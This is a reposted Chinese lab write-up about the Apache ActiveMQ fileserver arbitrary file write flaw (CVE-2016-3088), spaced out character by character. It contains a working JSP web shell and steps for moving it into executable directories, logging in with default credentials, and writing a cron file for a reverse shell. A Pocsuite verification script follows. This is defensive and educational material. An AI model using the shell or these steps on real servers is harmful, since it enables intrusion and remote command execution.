搜索

[14687] 2019-10-11_Vulhub漏洞系列：ActiveMQ任意文件写入漏洞分析

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2019-10-11_Vulhub漏洞系列：ActiveMQ任意文件写入漏洞分析 V u l h u b 漏 洞 系 列 ： A c t i v e M Q 任 意 文 件 写 入 漏 洞 分 析 x s s l e   F r e e B u f   2 0 1 9 - 1 0 - 1 1 一 、 一 、 A c t i v e M Q 简 介 ： 简 介 ： A p a c h e   A c t i v e M Q 是 A p a c h e 软 件 基 金 会 所 研 发 的 开 放 源 代 码 消 息 中 间 件 ； 由 于 A c t i v e M Q 是 一 个 纯 J a v a 程 序 ， 因 此 只 需 要 操 作 系 统 支 持 J a v a 虚 拟 机 ， A c t i v e M Q 便 可 执 行 。 二 、 漏 洞 描 述 ： 二 、 漏 洞 描 述 ： 本 漏 洞 出 现 在 f i l e s e r v e r 应 用 中 ， 漏 洞 原 理 其 实 非 常 简 单 ， 就 是 f i l e s e r v e r 支 持 写 入 文 件 （ 但 不 解 析 j s p ） ， 同 时 支 持 移 动 文 件 （ M O V E 请 求 ） 。 所 以 ， 我 们 只 需 要 写 入 一 个 文 件 ， 然 后 使 用 M O V E 请 求 将 其 移 动 到 任 意 位 置 ， 造 成 任 意 文 件 写 入 漏 洞 。 A c t i v e M Q 的 w e b 控 制 台 分 三 个 应 用 ， a d m i n 、 a p i 和 f i l e s e r v e r ， 其 中 a d m i n 是 管 理 员 页 面 ， a p i 是 接 口 ， f i l e s e r v e r 是 储 存 文 件 的 接 口 ； a d m i n 和 a p i 都 需 要 登 录 后 才 能 使 用 ， f i l e s e r v e r 无 需 登 录 。 f i l e s e r v e r 是 一 个 R E S T f u l   A P I 接 口 ， 我 们 可 以 通 过 G E T 、 P U T 、 D E L E T E 等 H T T P 请 求 对 其 中 存 储 的 文 件 进 行 读 写 操 作 ， 其 设 计 目 的 是 为 了 弥 补 消 息 队 列 操 作 不 能 传 输 、 存 储 二 进 制 文 件 的 缺 陷 ， 但 后 来 发 现 ： 1 . 其 使 用 率 并 不 高 2 . 文 件 操 作 容 易 出 现 漏 洞 所 以 ， A c t i v e M Q 在 5 . 1 2 . x ~ 5 . 1 3 . x 版 本 中 ， 已 经 默 认 关 闭 了 f i l e s e r v e r 这 个 应 用 （ 你 可 以 在 c o n f / j e t t y . x m l 中 开 启 之 ） ； 在 5 . 1 4 . 0 版 本 以 后 ， 彻 底 删 除 了 f i l e s e r v e r 应 用 。 在 测 试 过 程 中 ， 可 以 关 注 A c t i v e M Q 的 版 本 ， 避 免 走 弯 路 。 三 、 漏 洞 原 理 ： 三 、 漏 洞 原 理 ： 下 载 源 码 进 行 分 析 ， 可 以 看 到 A c t i v e M Q   中 的   F i l e S e r v e r   服 务 允 许 用 户 通 过   H T T P   P U T   方 法 上 传 文 件 到 指 定 目 录 ， 可 以 看 到 第 二 处 的 i f 相 当 于 没 有 对 用 户 身 份 进 行 校 验 。 P U T 方 法 调 用 如 下 函 数 之 后 ， 上 传 到 的 目 录 是 在 $ { a c t i v e m q . h o m e } / w e b a p p s / f i l e s e r v e r 下 ， 源 代 码 部 分 如 下 图 ：
接 下 来 看 M O V E 方 法 的 源 代 码 中 并 没 有 对 移 动 的 路 径 进 行 限 制 四 、 漏 洞 利 用 ： 四 、 漏 洞 利 用 ： 文 件 写 入 有 几 种 利 用 方 法 ： 我 们 这 里 演 示 上 传 w e b s h e l l 1 ． 写 入 w e b s h e l l 2 ． 写 入 c r o n 或 s s h   k e y 等 文 件 3 ． 写 入 j a r 或 j e t t y . x m l 等 库 和 配 置 文 件 w e b s h e l l 代 码 我 们 利 用 p u t 方 法 进 行 任 意 文 件 的 上 传 < %         i f ( " 0 2 3 " . e q u a l s ( r e q u e s t . g e t P a r a m e t e r ( " p w d " ) ) ) {                 j a v a . i o . I n p u t S t r e a m   i n   =   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( r e q u e s t . g e t P a r a m e t e r ( " i " ) ) . g e t I n p u t S t r e a m ( ) ;                 i n t   a   =   - 1 ;                 b y t e [ ]   b   =   n e w   b y t e [ 2 0 4 8 ] ;                 o u t . p r i n t ( " < p r e > " ) ;                 w h i l e ( ( a = i n . r e a d ( b ) ) ! = - 1 ) {                         o u t . p r i n t l n ( n e w   S t r i n g ( b ) ) ;                 }                 o u t . p r i n t ( " < / p r e > " ) ;         } % >
接 下 来 我 们 访 问 上 传 文 件 查 看 是 否 上 传 成 功 。 由 于 上 传 的 是 文 本 文 件 并 不 能 被 服 务 器 解 析 ， 所 以 我 们 下 一 步 要 利 用 M O V E 方 法 将 上 传 的 w e b s h e l l 移 动 到 可 以 执 行 的 目 录 并 更 改 后 缀 为 j s p 。 可 以 解 析 j s p 文 件 的 路 径 有 ： 1 ． / o p t / a c t i v e m q / w e b a p p s / a p i 2 ． / o p t / a c t i v e m q / w e b a p p s / a d m i n 这 里 有 一 个 坑 ， 困 惑 了 我 很 久 ， 我 的 方 法 步 骤 都 没 有 问 题 为 什 么 M O V E 方 法 会 一 直 响 应 超 时 并 且 得 不 到 任 何 响 应 的 内 容 。 尝 试 了 很 久 ， 我 一 度 怀 疑 我 的 v u l h u b 环 境 有 问 题 ， 一 次 偶 然 中 我 用 b u r p 抓 到 的 包 去 修 改 执 行 M O V E 方 法 很 快 就 得 到 了 响 应 结 果 ， 神 奇 的 是 把 这 个 数 据 包 重 新 复 制 到 r e p e a t e r 执 行 再 次 出 现 响 应 超 时 的 结 果 ， 明 明 是 两 个 相 同 的 数 据 包 ， 真 是 令 人 费 解 ， 我 只 能 归 结 于 M O V E 方 法 在 这 里 不 太 稳 （ p s ： 这 是 我 从 别 的 文 章 看 到 的 ） 。
这 个 就 是 M O V E 成 功 之 后 得 到 的 响 应 内 容 。 接 着 我 们 访 问 移 动 后 的 目 录 看 看 结 果 。 但 是 这 里 就 出 现 了 一 个 很 鸡 肋 的 地 方 ， 就 是 要 想 访 问 到 我 们 的 w e b s h e l l 必 须 是 登 录 之 后 才 可 以 ， 因 为 / a p i ， / a d m i n 这 两 个 路 径 必 须 是 登 录 后 才 可 以 访 问 但 是 m o v e 移 动 到 这 两 个 路 径 是 不 需 要 登 录 的 ， 好 吧 ， 我 们 输 入 默 认 的 弱 口 令 a d m i n / a d m i n ， 登 录 后 看 到 了 我 们 心 心 念 念 的 w e b s h e l l 。 拿 到 了 w e b s h e l l ， 虽 然 它 很 鸡 肋 但 我 们 仍 然 要 坚 强 的 执 行 几 条 命 令 去 宣 告 我 们 的 战 果 。
我 们 简 单 说 一 下 其 他 的 利 用 方 法 ， 写 入 c r o n t a b ， 自 动 化 弹 s h e l l ， 这 是 一 个 比 较 稳 健 的 方 法 。 首 先 上 传 c r o n 配 置 文 件 （ 注 意 ， 换 行 一 定 要 n ， 不 能 是 r n ， 否 则 c r o n t a b 执 行 会 失 败 ） ， 接 下 来 将 其 移 动 到 / e t c / c r o n . d / r o o t ， 如 果 上 述 两 个 请 求 都 返 回 2 0 4 了 ， 说 明 写 入 成 功 。 等 待 反 弹 s h e l l ， 这 个 方 法 需 要 A c t i v e M Q 是 r o o t 运 行 ， 否 则 也 不 能 写 入 c r o n 文 件 。 理 论 上 我 们 可 以 覆 盖 j e t t y . x m l ， 将 a d m i n 和 a p i 的 登 录 限 制 去 掉 ， 然 后 再 写 入 w e b s h e l l 。 有 的 情 况 下 ， j e t t y . x m l 和 j a r 的 所 有 人 是 w e b 容 器 的 用 户 ， 所 以 相 比 起 来 ， 写 入 c r o n t a b 成 功 率 更 高 一 点 。 尚 未 测 试 。 五 、 五 、 P o c 编 写 ： 编 写 ： 这 一 部 分 我 们 根 据 漏 洞 的 原 理 ， 既 然 M O V E 方 法 不 稳 定 那 么 就 去 验 证 P U T 是 否 可 以 执 行 成 功 ， 我 在 p o c 编 写 部 分 用 到 了 P o c s u i t e 。 代 码 如 下 ： f r o m   p o c s u i t e . n e t   i m p o r t   r e q f r o m   p o c s u i t e . p o c   i m p o r t   P O C B a s e , O u t p u t f r o m   p o c s u i t e . u t i l s   i m p o r t   r e g i s t e r c l a s s   A c t i v e M Q P o c ( P O C B a s e ) :     #   类 名 不 用 担 心 重 复         v u l I D   =   ' 0 0 2 '     #   s s v i d         v e r s i o n   =   ' 1 . 0 '         a u t h o r   =   [ ' x s s l e ' ]         v u l D a t e   =   ' 2 0 1 9 - 0 9 - 0 7 '         c r e a t e D a t e   =   ' 2 0 1 9 - 0 9 - 0 7 '         u p d a t e D a t e   =   ' 2 0 1 9 - 0 9 - 0 7 '         r e f e r e n c e s   =   [ ' h t t p s : / / w w w . s e c p u l s e . c o m / a r c h i v e s / 6 0 0 6 4 . h t m l ' ]         n a m e   =   ' A p a c h e   A c t i v e M Q   任 意 文 件 写 入 漏 洞   ( C V E - 2 0 1 6 - 3 0 8 8 ) '
代 码 执 行 效 果 如 下 ：         a p p P o w e r L i n k   =   ' a c t i v e m q . a p a c h e . o r g '         a p p N a m e   =   ' A p a c h e   a c t i v e m q '         a p p V e r s i o n   =   ' 版 本 小 于   A p a c h e   A c t i v e M Q   5 . 1 4 . 0 '         v u l T y p e   =   ' A r b i t r a r y   F i l e   R e a d i n g '         d e s c   =   ' ' '                 本 漏 洞 出 现 在 f i l e s e r v e r 应 用 中 ， 漏 洞 原 理 其 实 非 常 简 单 ， 就 是 f i l e s e r v e r 支 持 写 入 文 件 （ 但 不 解 析 j s p ） ，                 同 时 支 持 移 动 文 件 （ M O V E 请 求 ） 。 所 以 ， 我 们 只 需 要 写 入 一 个 文 件 ， 然 后 使 用 M O V E 请 求 将 其 移 动 到 任 意 位 置 ， 造 成 任 意 文 件 写 入 漏 洞 。         ' ' '         p o c D e s c   =   ' ' '                 p o c s u i t e   - r   * * * . p y   - u   t a r g e t   - - v e r i f y "         ' ' '         s a m p l e s   =   [ ]         i n s t a l l _ r e q u i r e s   =   [ ' ' ]         d e f   _ v e r i f y ( s e l f ) :                 r e s u l t   =   { }                 p a t h   =   " f i l e s e r v e r / p o c . t x t "                 u r l   =   s e l f . u r l   +   ' / '   +   p a t h                 h e a d e r   =   {                         " A c c e p t " :   " * / * " ,                         " A c c e p t - L a n g u a g e " :   " e n " ,                         " U s e r - A g e n t " : " M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 ;   T r i d e n t / 5 . 0 ) " ,                         " C o n n e c t i o n " : " c l o s e " ,                         " C o n t e n t - L e n g t h " : " 1 2 0 9 7 6 "                 }                 t r y :                         r e s p   =   r e q . p u t ( u r l , h e a d e r )                         r e s p 1   =   r e q . g e t ( u r l , h e a d e r )                         i f   r e s p . s t a t u s _ c o d e   = =   2 0 4   a n d   s t r ( r e s p 1 . s t a t u s _ c o d e ) [ 0 ]   i n   ( ' 2 ' , ' 3 ' )   :                                 r e s u l t [ ' V e r i f y I n f o ' ]   =   { }                                 r e s u l t [ ' V e r i f y I n f o ' ] [ ' U R L ' ]   =   u r l                 e x c e p t   E x c e p t i o n   a s   e x :                         p a s s                 r e t u r n   s e l f . p a r s e _ o u t p u t ( r e s u l t )         d e f   p a r s e _ o u t p u t ( s e l f ,   r e s u l t ) :                 o u t p u t   =   O u t p u t ( s e l f )                 i f   r e s u l t :                         o u t p u t . s u c c e s s ( r e s u l t )                 e l s e :                         o u t p u t . f a i l ( ' t a r g e t   i s   n o t   v u l n e r a b l e ' )                 r e t u r n   o u t p u t         d e f   _ a t t a c k ( s e l f ) :                 r e t u r n   s e l f . _ v e r i f y ( ) r e g i s t e r ( A c t i v e M Q P o c )
最 后 附 上 p o c s u i t e 官 网 地 址 ： h t t p : / / p o c s u i t e . o r g / 如 果 可 以 的 话 我 想 把 这 个 写 成 系 列 文 章 ， 希 望 大 家 鼓 励 。 * 本 文 作 者 ： 本 文 作 者 ： x s s l e ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理